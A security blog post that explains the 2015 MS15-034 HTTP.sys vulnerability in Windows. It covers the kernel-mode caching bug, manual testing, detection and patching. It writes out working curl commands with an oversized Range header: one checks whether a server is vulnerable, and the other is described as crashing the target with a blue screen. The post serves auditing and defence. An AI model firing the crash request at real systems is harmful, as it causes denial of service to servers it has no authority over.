Understanding HTTP.sys Denial of Service(BSoD)

Introduction

A remote code execution vulnerability was announced by Microsoft in early 2015 and was found being widely abused across internet. Though it was announced that this security issue could let an unauthenticated remote attacker to execute arbitrary codes, I have not seen any working PoCs for RCE publically disclosed. However, there are PoCs available to do Denial of Service in the form of BSoD on the affected systems. Microsoft released a patch MS15-034 for this critical vulnerability in April 2015.

This post is to explain more details about MS15-034 vulnerability, manual testing methods and also sharing an automated scanning Nmap script to make it simpler for larger audit scope. Before getting into the vulnerability details, let’s spend some time to understand what HTTP.sys is and how does it work with webserver.

HTTP.sys

HTTP.sys is a kernel-mode device driver used in IIS version 6.0 and above to process HTTP requests at high speed. This kernel-mode device driver program is a part of the networking subsystem of the Windows Operating System as a core component since 2003. This also means that the issue is not specific to IIS webserver, but any application running on windows that uses this HTTP networking stack.

According to Microsoft, following are the services provided by HTTP.sys:

• Routing HTTP requests to the correct request queue.
• Caching of responses in kernel mode.
• Performing all text-based logging for the WWW service.
• Implementing Quality of Service (QoS) functionality, which includes connection limits, connection timeouts, queue-length limits, and bandwidth throttling.

Understanding the Vulnerability

Let’s focus more on the second point here Caching of responses in kernel mode. That’s where the bug is. However, Kernel mode caching is not a default option in IIS Manager settings.

HTTP.sys listens for requests and queues them in such a way that each request queue corresponds to one application pool. It works like a proxy between clients and WWW service. Kernel mode caching helps in processing HTTP requests in high speed by serving requests from client for cached responses without switching to user mode. As per the official documentation from Microsoft, HTTP.sys does not process the requests by itself and hence a bad code in the application cannot affect kernel or cause any unexpected system failures. However, sending a crafted Range-header can trigger a buffer overflow if the system is not patched. That means sending largest 64bit number (2^64-1) will cause this overflow. A similar issue in Apache was also reported in 2011 http://seclists.org/fulldisclosure/2011/Aug/175

Consider the following command,

curl -v 192.168.0.10/ -H "Host: MS15034 " -H "Range: bytes=0-18446744073709551615" 

If the response is showing “HTTP Error 400. The request has an invalid header name.”, then the system is not vulnerable. Any other response means the system is vulnerable.

A change in Range header with bytes=20-18446744073709551615 can cause blue screen on the affected system.

curl -v 192.168.0.10/iisstart.htm -H "Host: MS15034 " -H "Range: bytes=20-18446744073709551615" 

To make this much simpler to test on large scope of audit, I have created an nmap script.

https://github.com/s4n7h0/NSE/blob/master/MS15-034.nse

Detection

Didier Stevens has written some interesting observations about detection rules that can go wrong in different IPS systems such as SNORT, F5 etc. https://blog.didierstevens.com/2015/04/17/ms15-034-detection-some-observations/

Mitigation

Simple, patch the system. https://technet.microsoft.com/en-us/library/security/ms15-034.aspx

Disabling kernel caching can also be helpful. However, Microsoft is suggesting this may cause performance issues.